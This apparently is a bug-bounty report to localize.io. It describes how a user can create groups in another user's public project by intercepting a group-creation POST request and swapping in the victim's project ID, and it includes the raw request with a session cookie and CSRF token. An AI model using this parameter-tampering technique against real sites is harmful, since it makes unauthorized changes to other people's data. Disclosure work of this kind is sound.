Making groups in any project without permission

Something Interesting happening here !! ;) Steps to reproduce : 1) Suppose User1 have Public Project called http://www.localize.io/v/8h 2) In public project any other user ll not have permissions to edit project 3) Now User2 want to make a group in http://www.localize.io/v/8h which is unlikely not possible . 4) Soo what now ?? :P 5) User2 ll go to his any own project and edit the project like (http://www.localize.io/pages/create_project/3F) and he ll create a new group there , while creating the new group intercept the request and change it with http://www.localize.io/v/8h 6) Bang !! The group ll be created on User1 side . Request (From User2 side) : POST /pages/create_project/3F HTTP/1.1 Host: www.localize.io User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:28.0) Gecko/20100101 Firefox/28.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://www.localize.io/pages/create_project/82 Cookie: PHPSESSID=srdrqpfu6k679bna6e2rtrsrq7 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 84 CSRFToken=NTc4NTUxMjY1MzUxZTllOGIwYWM4MC4yMjE1MjUxNw%3D%3D&addGroup%5Bname%5D=Test Now he ll change the POST /pages/create_project/3F with POST /pages/create_project/8h and send the request and group ll be created on User1 side . Take a look and lemme know if you need more info . Daksh